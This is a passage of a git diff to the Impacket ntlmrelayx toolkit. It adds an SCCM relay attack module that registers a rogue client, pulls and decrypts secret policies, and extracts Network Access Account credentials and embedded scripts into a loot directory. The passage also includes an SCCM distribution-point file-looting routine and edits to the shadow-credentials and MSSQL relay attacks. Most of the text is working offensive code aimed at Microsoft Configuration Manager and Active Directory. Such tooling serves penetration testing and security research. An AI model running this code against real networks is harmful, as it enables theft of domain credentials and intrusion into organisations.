f"{self.loot_dir}/packages/{package}/{filename}" + with open(output_file, 'wb') as f: + f.write(r) + LOG.info(f"Package {package} - downloaded file {filename}") + except Exception as e: + LOG.error(f"[!] Error when downloading the following file: {file}") + LOG.error(f"{e}") + + + def download_target_files(self): + if self.config.SCCMDPFiles is not None: + with open(self.config.SCCMDPFiles, 'r') as f: + contents = f.read().splitlines() + package_ids = set() + to_download = [] + for file in contents: + try: + package_ids.add(urllib.parse.urlparse(file).path.split('/')[2]) + if file.strip() is not None: to_download.append(file) + except: + LOG.error(f"(Skipping) URL has wrong format: {file}") + continue + for package_id in package_ids: + os.makedirs(f'{self.loot_dir}/packages/{package_id}', exist_ok=True) + self.download_files(to_download) + else: + self.handle_packages() + + + def handle_packages(self): + with open(f"{self.loot_dir}/index.txt", "a") as f: + for i, package_id in enumerate(self.package_ids): + package_index = {package_id: {}} + self.recursive_package_directory_fetch(package_index[package_id], f"{self.distribution_point}/sms_dp_smspkg$/{package_id}", 0) + print_tree(package_index, f) + to_download = self.recursive_file_extract(package_index[package_id]) + if len(to_download) == 0: + LOG.debug(f"Handled package {package_id} ({i+1}/{len(self.package_ids)})") + continue + os.makedirs(f'{self.loot_dir}/packages/{package_id}', exist_ok=True) + self.download_files(to_download) + LOG.debug(f"Handled package {package_id} ({i+1}/{len(self.package_ids)})") + LOG.info("[+] Package handling complete") + + + def recursive_package_directory_fetch(self, object, directory, depth): + depth += 1 + + self.client.request("GET", directory, headers=self.DP_DOWNLOAD_HEADERS) + r = self.client.getresponse().read() + + parser = FilesAndDirsRetriever() + parser.feed(r.decode()) + + files = [] + for href in parser.links: + if '' in href[1]: + if depth <= self.max_recursion_depth: + object[href[0]] = {} + self.recursive_package_directory_fetch(object[href[0]], href[0], depth) + else: + object[href[0]] = "Maximum recursion depth reached" + else: + files.append(href[0]) + for file in files: + object[file] = None + + + def fetch_package_ids_from_datalib(self): + self.client.request("GET", f"{self.distribution_point}/sms_dp_smspkg$/Datalib", headers=self.DP_DOWNLOAD_HEADERS) + r = self.client.getresponse().read() + packageIDs_parser = PackageIDsRetriever() + packageIDs_parser.feed(r.decode()) + self.package_ids = packageIDs_parser.package_ids + + LOG.info(f"Found {len(self.package_ids)} packages") + LOG.debug(self.package_ids) \ No newline at end of file diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py new file mode 100644 index 0000000000..d1db006cfa --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py @@ -0,0 +1,578 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM relay attack to register a device and dump all secret policies +# +# Authors: +# Quentin Roland(@croco_byte) - Synacktiv +# Based on SCCMSecrets.py (https://github.com/synacktiv/SCCMSecrets/) +# Inspired by xpn's work (@xpn) + +import os +import zlib +import json +import base64 +import string +import random +import binascii +import xml.etree.ElementTree as ET + +from time import sleep +from datetime import datetime, timedelta +from impacket import LOG +from cryptography import x509 +from cryptography.x509.oid import NameOID +from cryptography.x509 import ObjectIdentifier +from cryptography.hazmat.primitives import serialization, hashes, padding +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15, OAEP, MGF1 +from cryptography.hazmat.primitives.hashes import SHA1 +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.backends import default_backend + +from pyasn1_modules import rfc5652 +from pyasn1.codec.der.decoder import decode + +# Request templates +REGISTRATION_REQUEST_TEMPLATE = """ + +{encryption}{signature} + + + + +""" +REGISTRATION_REQUEST_WRAPPER_TEMPLATE = "{data}{signature}\x00" + +SCCM_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000""" +POLICY_REQUEST_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000""" +POLICY_REQUEST_TEMPLATE = """GUID:{clientid}{clientfqdn}{client}SMS:PRI""" +REPORT_BODY = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}""" + +OID_MAPPING = { + '1.2.840.113549.3.7': "des-ede3-cbc", + + # PKCS1 v2.2 + '1.2.840.113549.1.1.1': 'rsaEncryption', + '1.2.840.113549.1.1.2': 'md2WithRSAEncryption', + '1.2.840.113549.1.1.3': 'md4withRSAEncryption', + '1.2.840.113549.1.1.4': 'md5WithRSAEncryption', + '1.2.840.113549.1.1.5': 'sha1-with-rsa-signature', + '1.2.840.113549.1.1.6': 'rsaOAEPEncryptionSET', + '1.2.840.113549.1.1.7': 'id-RSAES-OAEP', + '1.2.840.113549.1.1.8': 'id-mgf1', + '1.2.840.113549.1.1.9': 'id-pSpecified', + '1.2.840.113549.1.1.10': 'rsassa-pss', + + # AES + '2.16.840.1.101.3.4.1.41': 'aes256_ecb', + '2.16.840.1.101.3.4.1.42': 'aes256_cbc', + '2.16.840.1.101.3.4.1.43': 'aes256_ofb', + '2.16.840.1.101.3.4.1.44': 'aes256_cfb', + '2.16.840.1.101.3.4.1.45': 'aes256_wrap', + '2.16.840.1.101.3.4.1.46': 'aes256_gcm', + '2.16.840.1.101.3.4.1.47': 'aes256_ccm', + '2.16.840.1.101.3.4.1.48': 'aes256_wrap_pad' +} + + + + +### Cryptography utility functions ### +def create_certificate(privatekey): + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, "ConfigMgr Client"), + ]) + cert = x509.CertificateBuilder().subject_name( + subject + ).issuer_name( + issuer + ).public_key( + privatekey.public_key() + ).serial_number( + x509.random_serial_number() + ).not_valid_before( + datetime.utcnow() - timedelta(days=2) + ).not_valid_after( + datetime.utcnow() + timedelta(days=365) + ).add_extension( + x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False, + key_agreement=False, content_commitment=False, data_encipherment=True, + crl_sign=False, encipher_only=False, decipher_only=False), + critical=False, + ).add_extension( + x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]), + critical=False, + ).sign(privatekey, hashes.SHA256()) + + return cert + +def create_private_key(): + privatekey = rsa.generate_private_key(public_exponent=65537, key_size=2048) + return privatekey + +def SCCM_sign(private_key, data): + signature = private_key.sign(data, PKCS1v15(), hashes.SHA256()) + signature_rev = bytearray(signature) + signature_rev.reverse() + return bytes(signature_rev) + + +def build_MS_public_key_blob(private_key): + blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00" + blob = blobHeader + private_key.public_key().public_numbers().n.to_bytes(int(private_key.key_size / 8), byteorder="little") + return blob.hex().upper() + + +### Various utility functions ### +def encode_UTF16_strip_BOM(data): + return data.encode('utf-16')[2:] + +def clean_junk_in_XML(xml_string): + root_end = xml_string.rfind('', root_end) + 1 + clean_xml_string = xml_string[:root_end] + return clean_xml_string + return xml_string + + +### Client registration utility functions ### +def generate_registration_request_payload(management_point, public_key, private_key, client_name): + registrationRequest = REGISTRATION_REQUEST_TEMPLATE.format( + date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"), + encryption=public_key, + signature=public_key, + client=client_name.split('.')[0], + clientfqdn=client_name + ) + + signature = SCCM_sign(private_key, encode_UTF16_strip_BOM(registrationRequest)).hex().upper() + registrationRequestWrapper = REGISTRATION_REQUEST_WRAPPER_TEMPLATE.format( + data=registrationRequest, + signature=signature + ) + registrationRequestWrapper = encode_UTF16_strip_BOM(registrationRequestWrapper) + "\r\n".encode('ascii') + + registrationRequestHeader = SCCM_HEADER_TEMPLATE.format( + bodylength=len(registrationRequestWrapper)-2, + client=client_name, + date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"), + sccmserver=management_point + ) + + final_body = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + final_body += registrationRequestHeader.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + final_body += zlib.compress(registrationRequestWrapper) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + return final_body + + +### Policies request utility functions ### +def generate_policies_request_payload(management_point, private_key, client_guid, client_name): + policyRequest = encode_UTF16_strip_BOM(POLICY_REQUEST_TEMPLATE.format( + clientid=client_guid, + clientfqdn=client_name, + client=client_name.split('.')[0] + )) + b"\x00\x00\r\n" + policyRequestCompressed = zlib.compress(policyRequest) + + MSPublicKey = build_MS_public_key_blob(private_key) + clientID = f"GUID:{client_guid.upper()}" + clientIDSignature = SCCM_sign(private_key, encode_UTF16_strip_BOM(clientID) + "\x00\x00".encode('ascii')).hex().upper() + policyRequestSignature = SCCM_sign(private_key, policyRequestCompressed).hex().upper() + + policyRequestHeader = POLICY_REQUEST_HEADER_TEMPLATE.format( + bodylength=len(policyRequest)-2, + sccmserver=management_point, + client=client_name.split('.')[0], + publickey=MSPublicKey, + clientIDsignature=clientIDSignature, + payloadsignature=policyRequestSignature, + clientid=client_guid, + date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ") + ) + + final_body = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + final_body += policyRequestHeader.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + final_body += policyRequestCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + return final_body + + +### Secret policies utility functions ### +def decrypt_key_OEAP(encrypted_key, private_key): + return private_key.decrypt(encrypted_key, OAEP(mgf=MGF1(algorithm=SHA1()), algorithm=SHA1(), label=None)) + +def decrypt_key_RSA(encrypted_key, private_key): + return private_key.decrypt(encrypted_key, PKCS1v15()) + +def decrypt_body_triple_DES(body, plaintextkey, iv): + cipher = Cipher(algorithms.TripleDES(plaintextkey), modes.CBC(iv), backend=default_backend()) + decryptor = cipher.decryptor() + plaintext = decryptor.update(body) + decryptor.finalize() + return plaintext.decode('utf-16le') + +def decrypt_body_AESCBC(body, plaintextkey, iv): + cipher = Cipher(algorithms.AES(plaintextkey), modes.CBC(iv), backend=default_backend()) + decryptor = cipher.decryptor() + plaintext = decryptor.update(body) + decryptor.finalize() + return plaintext.decode('utf-16le') + +def decrypt_secret_policy(policy_response, private_key): + content, _ = decode(policy_response, asn1Spec=rfc5652.ContentInfo()) + content, _ = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData()) + encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets() + keyEncryptionOID = str(content['recipientInfos'][0]['ktri']['keyEncryptionAlgorithm']['algorithm']) + iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:] + body = content['encryptedContentInfo']['encryptedContent'].asOctets() + bodyEncryptionOID = str(content['encryptedContentInfo']['contentEncryptionAlgorithm']['algorithm']) + + try: + if OID_MAPPING[keyEncryptionOID] == 'rsaEncryption': + plaintextkey = decrypt_key_RSA(encryptedRSAKey, private_key) + elif OID_MAPPING[keyEncryptionOID] == 'id-RSAES-OAEP': + plaintextkey = decrypt_key_OEAP(encryptedRSAKey, private_key) + else: + LOG.error(f"Key decryption algorithm {OID_MAPPING[keyEncryptionOID]} is not currently implemented.") + return + except KeyError as e: + LOG.error(f"[-] Unknown key decryption algorithm.") + return + + try: + if OID_MAPPING[bodyEncryptionOID] == 'des-ede3-cbc': + plaintextbody = decrypt_body_triple_DES(body, plaintextkey, iv) + elif OID_MAPPING[bodyEncryptionOID] == 'aes256_cbc': + plaintextbody = decrypt_body_AESCBC(body, plaintextkey, iv) + else: + LOG.error(f"[-] Body decryption algorithm {OID_MAPPING[bodyEncryptionOID]} is not currently implemented.") + return + except KeyError as e: + LOG.error(f"[-] Unknown body decryption algorithm.") + return + + return plaintextbody + +def mscrypt_derive_key_sha1(secret:bytes): + # Implementation of CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey); + buf1 = bytearray([0x36] * 64) + buf2 = bytearray([0x5C] * 64) + + digest = hashes.Hash(hashes.SHA1(), backend=default_backend()) + digest.update(secret) + hash_ = digest.finalize() + + for i in range(len(hash_)): + buf1[i] ^= hash_[i] + buf2[i] ^= hash_[i] + + digest1 = hashes.Hash(hashes.SHA1(), backend=default_backend()) + digest1.update(buf1) + hash1 = digest1.finalize() + + digest2 = hashes.Hash(hashes.SHA1(), backend=default_backend()) + digest2.update(buf2) + hash2 = digest2.finalize() + + derived_key = hash1 + hash2[:4] + return derived_key + +def deobfuscate_secret_policy_blob(output): + if isinstance(output, str): + output = bytes.fromhex(output) + + data_length = int.from_bytes(output[52:56], 'little') + buffer = output[64:64+data_length] + + key = mscrypt_derive_key_sha1(output[4:4+0x28]) + iv = bytes([0] * 8) + cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend()) + decryptor = cipher.decryptor() + decrypted_data = decryptor.update(buffer) + decryptor.finalize() + + padder = padding.PKCS7(64).unpadder() # 64 is the block size in bits for DES3 + decrypted_data = padder.update(decrypted_data) + padder.finalize() + + try: + decrypted_data = decrypted_data.decode('utf-16-le') + except: + decrypted_data = decrypted_data.hex() + return decrypted_data + + +def parse_policies_flags(policyFlagValue): + policyFlagValue = int(policyFlagValue) + NONE = 0b0000000 + TASKSEQUENCE = 0b0000001 + REQUIRESAUTH = 0b0000010 + SECRET = 0b0000100 + INTRANETONLY = 0b0001000 + PERSISTWHOLEPOLICY = 0b0010000 + AUTHORIZEDDYNAMICDOWNLOAD = 0b0100000 + COMPRESSED = 0b1000000 + + result = [] + if policyFlagValue & TASKSEQUENCE != 0: + result.append("TASKSEQUENCE") + if policyFlagValue & REQUIRESAUTH != 0: + result.append("REQUIRESAUTH") + if policyFlagValue & SECRET != 0: + result.append("SECRET") + if policyFlagValue & INTRANETONLY != 0: + result.append("INTRANETONLY") + if policyFlagValue & PERSISTWHOLEPOLICY != 0: + result.append("PERSISTWHOLEPOLICY") + if policyFlagValue & AUTHORIZEDDYNAMICDOWNLOAD != 0: + result.append("AUTHORIZEDDYNAMICDOWNLOAD") + if policyFlagValue & COMPRESSED != 0: + result.append("COMPRESSED") + + return result + + + +class SCCMPoliciesAttack: + + def _run(self): + LOG.info("Starting SCCM policies attack") + + management_point = f"{'https' if self.client.port == 443 else 'http'}://{self.client.host}" + loot_dir = f"{self.client.host}_{datetime.now().strftime('%Y%m%d%H%M%S')}_sccm_policies_loot" + if self.config.SCCMPoliciesClientname == None: self.config.SCCMPoliciesClientname = self.username.rstrip('$') + if self.config.SCCMPoliciesSleep == None: self.config.SCCMPoliciesSleep = 180 + + try: + os.makedirs(loot_dir, exist_ok=True) + LOG.info(f"Loot directory is: {loot_dir}") + except Exception as err: + LOG.error(f"Error creating base output directory: {err}") + return + + os.makedirs(f"{loot_dir}/device") + LOG.info(f"Generating Private key and client (self-signed) certificate") + private_key = create_private_key() + certificate = create_certificate(private_key) + public_key = certificate.public_bytes(serialization.Encoding.DER).hex().upper() + # Writing certs to device info directory for potential future use + with open(f"{loot_dir}/device/cert.pem", 'wb') as f: + f.write(certificate.public_bytes(serialization.Encoding.PEM)) + with open(f"{loot_dir}/device/key.pem", 'wb') as f: + f.write(private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption())) + + # Device registration + LOG.info(f"Registering SCCM client with client name '{self.config.SCCMPoliciesClientname}'") + registration_request_payload = generate_registration_request_payload(management_point, public_key, private_key, self.config.SCCMPoliciesClientname) + + try: + register_response = self.register_client(management_point, registration_request_payload) + if register_response == None: + LOG.error(f"Device registration failed") + return + root = ET.fromstring(register_response[:-1]) + client_guid = root.attrib["SMSID"].split("GUID:")[1] + except Exception as e: + LOG.error(f"Device registration failed: {e}") + return + + with open(f"{loot_dir}/device/guid.txt", 'w') as f: + f.write(f"{client_guid}\n") + with open(f"{loot_dir}/device/client_name.txt", 'w') as f: + f.write(f"{self.config.SCCMPoliciesClientname}\n") + + LOG.info(f"Client registration complete - GUID: {client_guid}") + LOG.info(f"Sleeping for {self.config.SCCMPoliciesSleep} seconds") + sleep(int(self.config.SCCMPoliciesSleep)) + + + # Policies request + policies_request_payload = generate_policies_request_payload(management_point, private_key, client_guid, self.config.SCCMPoliciesClientname) + + try: + policies_response = self.request_policies(management_point, policies_request_payload) + root = ET.fromstring(policies_response[:-1]) + policies = root.findall(".//Policy") + policies_json = {} + for policy in policies: + policies_json[policy.attrib["PolicyID"]] = {"PolicyVersion": policy.attrib["PolicyVersion"] if "PolicyVersion" in policy.attrib else "N/A", + "PolicyType": policy.attrib["PolicyType"] if "PolicyType" in policy.attrib else "N/A", + "PolicyCategory": policy.attrib["PolicyCategory"] if "PolicyCategory" in policy.attrib else "N/A", + "PolicyFlags": parse_policies_flags(policy.attrib["PolicyFlags"]) if "PolicyFlags" in policy.attrib else "N/A", + "PolicyLocation": policy[0].text.replace("", management_point.split('http://')[1]) } + with open(f'{loot_dir}/policies.json', 'w') as f: + f.write(json.dumps(policies_json)) + with open(f'{loot_dir}/policies.raw', 'w') as f: + f.write(policies_response) + secret_policies = {} + for key, value in policies_json.items(): + if isinstance(value["PolicyFlags"], list) and "SECRET" in value["PolicyFlags"]: + secret_policies[key] = value + except Exception as e: + LOG.error(f"Policies request failed: {e}") + return + + LOG.info(f"Policies list retrieved. {len(policies_json.keys())} total policies; {len(secret_policies.keys())} secret policies") + if len(secret_policies.keys()) <= 0: + LOG.error(f"No secret policies retrieved. Either you relayed a user account and automatic device approval is not enabled, or something went wrong") + return + + + for key, value in secret_policies.items(): + try: + result = self.secret_policy_process(key, value, private_key, client_guid, loot_dir) + if result['NAA_credentials'] is not None: + LOG.info(f"Retrieved NAA account credentials: '{result['NAA_credentials']['NetworkAccessUsername']}:{result['NAA_credentials']['NetworkAccessPassword']}'") + except Exception as e: + LOG.info(f"Encountered an error when trying to process secret policy {key} - {e}") + + LOG.info(f"DONE - attack finished. Check loot directory {loot_dir}") + LOG.info("You can reuse the registered device from the generated GUID/private key in the device/ subdirectory - for instance with SCCMSecrets.py. This is only possible for a limited time, before the legitimate device re-registers itself.") + + + + + def register_client(self, management_point, registration_request_payload): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender", + "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" + } + + self.client.request("CCM_POST", f"{management_point}/ccm_system_windowsauth/request", registration_request_payload, headers=headers) + body = self.client.getresponse().read() + + + boundary = "aAbBcCdDv1234567890VxXyYzZ" + multipart_data = body.split(('--' + boundary).encode()) + for part in multipart_data: + if not part or part == b'--\r\n': + continue + try: + headers_part, content = part.split(b'\r\n\r\n', 1) + except: + pass + + if b'application/octet-stream' in headers_part: + decompressed_content = zlib.decompress(content).decode('utf-16') + return decompressed_content + return None + + def request_policies(self, management_point, policies_request_payload): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender", + "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" + } + + self.client.request("CCM_POST", f"{management_point}/ccm_system/request", policies_request_payload, headers=headers) + body = self.client.getresponse().read() + + boundary = "aAbBcCdDv1234567890VxXyYzZ" + multipart_data = body.split(('--' + boundary).encode()) + for part in multipart_data: + if not part or part == b'--\r\n': + continue + try: + headers_part, content = part.split(b'\r\n\r\n', 1) + except: + pass + + if b'application/octet-stream' in headers_part: + decompressed_content = zlib.decompress(content).decode('utf-16') + return decompressed_content + return None + + def request_policy(self, policy_url, client_guid, private_key): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender" + } + + headers["ClientToken"] = f"GUID:{client_guid};{datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ')};2" + headers["ClientTokenSignature"] = SCCM_sign(private_key, f"GUID:{client_guid};{datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ')};2".encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper() + + self.client.request("GET", policy_url, headers=headers) + r = self.client.getresponse().read() + return r + + + def secret_policy_process(self, policyID, policy, private_key, client_guid, loot_dir): + LOG.info(f"Processing secret policy {policyID}") + os.makedirs(f'{loot_dir}/{policyID}') + + NAA_credentials = {"NetworkAccessUsername": None, "NetworkAccessPassword": None} + policy_response = self.request_policy(policy["PolicyLocation"], client_guid, private_key) + decrypted = decrypt_secret_policy(policy_response, private_key)[:-1] + decrypted = clean_junk_in_XML(decrypted) + + if policy["PolicyCategory"] == "CollectionSettings": + LOG.debug("Processing a CollectionSettings policy to extract collection variables") + root = ET.fromstring(decrypted) + binary_data = binascii.unhexlify(root.text) + decompressed_data = zlib.decompress(binary_data) + decrypted = decompressed_data.decode('utf16') + + with open(f'{loot_dir}/{policyID}/policy.txt', 'w') as f: + f.write(decrypted) + + + root = ET.fromstring(decrypted) + + blobs_set = {} + + if policy["PolicyCategory"] == "CollectionSettings": + for instance in root.findall(".//instance"): + name = None + value = None + for prop in instance.findall('property'): + prop_name = prop.get('name') + if prop_name == 'Name': + name = prop.find('value').text.strip() + elif prop_name == 'Value': + value = prop.find('value').text.strip() + blobs_set[name] = value + + else: + obfuscated_blobs = root.findall('.//*[@secret="1"]') + for obfuscated_blob in obfuscated_blobs: + blobs_set[obfuscated_blob.attrib["name"]] = obfuscated_blob[0].text + + LOG.debug(f"Found {len(blobs_set.keys())} obfuscated blob(s) in secret policy.") + for i, blob_name in enumerate(blobs_set.keys()): + data = deobfuscate_secret_policy_blob(blobs_set[blob_name]) + filename = f'{loot_dir}/{policyID}/secretBlob_{str(i+1)}-{blob_name}.txt' + with open(filename, 'w') as f: + f.write(f"Secret property name: {blob_name}\n\n") + f.write(data + "\n") + if blob_name == "NetworkAccessUsername": + NAA_credentials["NetworkAccessUsername"] = data + if blob_name == "NetworkAccessPassword": + NAA_credentials["NetworkAccessPassword"] = data + + LOG.debug(f"Deobfuscated blob n°{i+1}") + try: + blobroot = ET.fromstring(clean_junk_in_XML(data)) + source_scripts = blobroot.findall('.//*[@property="SourceScript"]') + if len(source_scripts) > 0: + LOG.debug(f"Found {len(source_scripts)} embedded powershell scripts in blob.") + for j, script in enumerate(source_scripts): + decoded_script = base64.b64decode(script.text).decode('utf-16le') + with open(f'{loot_dir}/{policyID}/secretBlob_{str(i+1)}-{blob_name}_embeddedScript_{j+1}.txt', 'w') as f: + f.write(decoded_script) + f.write("\n") + + except ET.ParseError as e: + LOG.debug("Failed parsing XML on this blob - not XML content") + pass + + if NAA_credentials["NetworkAccessUsername"] is not None: + return {"NAA_credentials": NAA_credentials} + else: + return {"NAA_credentials": None} + diff --git a/impacket/examples/ntlmrelayx/attacks/imapattack.py b/impacket/examples/ntlmrelayx/attacks/imapattack.py index 469f6e801d..ae04e7b8dd 100644 --- a/impacket/examples/ntlmrelayx/attacks/imapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/imapattack.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 12eae8f91d..090ecf5e7f 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -282,10 +284,10 @@ def shadowCredentialsAttack(self, domainDumper): LOG.info("Target user found: %s" % target_dn) LOG.info("Generating certificate") - certificate,publicKey,key = shadow_credentials.createX509Certificate(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365)) + key,certificate = shadow_credentials.createSelfSignedX509Certificate(subject=currentShadowCredentialsTarget, nBefore=(-40 * 365), nAfter=(40 * 365)) LOG.info("Certificate generated") LOG.info("Generating KeyCredential") - keyCredential = shadow_credentials.CreateKeyCredentialFromX509Certificate(publicKey, deviceId=shadow_credentials.getRandomGUID(), owner=target_dn, currentTime=shadow_credentials.getTimeTicks()) + keyCredential = shadow_credentials.KeyCredential(certificate,key,deviceId=shadow_credentials.getDeviceId(),currentTime=shadow_credentials.getTicksNow()) #LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD()) #LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString()) self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) @@ -298,7 +300,7 @@ def shadowCredentialsAttack(self, domainDumper): LOG.error('Could not query target user properties') return try: - new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [shadow_credentials.toDNWithBinary2String( keyCredential, target_dn )] + new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [shadow_credentials.toDNWithBinary2String( keyCredential.dumpBinary(), target_dn )] LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % currentShadowCredentialsTarget) self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}) if self.client.result['result'] == 0: @@ -677,10 +679,12 @@ def get_enrollment_principals(entry): for ace in (a for a in sd["Dacl"]["Data"] if a["AceType"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE): sid = format_sid(ace["Ace"]["Sid"].getData()) - if ace["Ace"]["ObjectTypeLen"] == 0: + if ace["Ace"]["Flags"] == 2: uuid = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower() - else: + elif ace["Ace"]["Flags"] == 1: uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower() + else: + continue if not uuid in enrollment_uuids: continue @@ -711,7 +715,7 @@ def translate_sids(sids): sid_map[sid] = sid continue - if not len(self.client.response): + if not len(self.client.entries): sid_map[sid] = sid else: sid_map[sid] = domain_fqdn + "\\" + self.client.response[0]["attributes"]["name"] diff --git a/impacket/examples/ntlmrelayx/attacks/mssqlattack.py b/impacket/examples/ntlmrelayx/attacks/mssqlattack.py index 1e7855a751..445af72d43 100644 --- a/impacket/examples/ntlmrelayx/attacks/mssqlattack.py +++ b/impacket/examples/ntlmrelayx/attacks/mssqlattack.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -43,13 +45,9 @@ def run(self): if self.config.queries is not None: for query in self.config.queries: LOG.info('Executing SQL: %s' % query) - try: - self.client.sql_query(query) - self.client.printReplies() - self.client.printRows() - finally: - if(self.client.lastError): - print(self.client.lastError) + self.client.sql_query(query) + self.client.printReplies() + self.client.printRows() else: LOG.error('No SQL queries specified for MSSQL relay!') diff --git a/impacket/examples/ntlmrelayx/attacks/rpcattack.py b/impacket/examples/ntlmrelayx/attacks/rpcattack.py index 43bf8f3a00..be29e97ca5 100644 --- a/impacket/examples/ntlmrelayx/attacks/rpcattack.py +++ b/impacket/examples/ntlmrelayx/attacks/rpcattack.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index 52679fe402..42fe5dc6e6 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/impacket/examples/ntlmrelayx/clients/__init__.py b/impacket/examples/ntlmrelayx/clients/__init__.py index 90bcb5036b..aadb371572 100644 --- a/impacket/examples/ntlmrelayx/clients/__init__.py +++ b/impacket/examples/ntlmrelayx/clients/__init__.py @@ -1,6 +1,8 @@ # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git 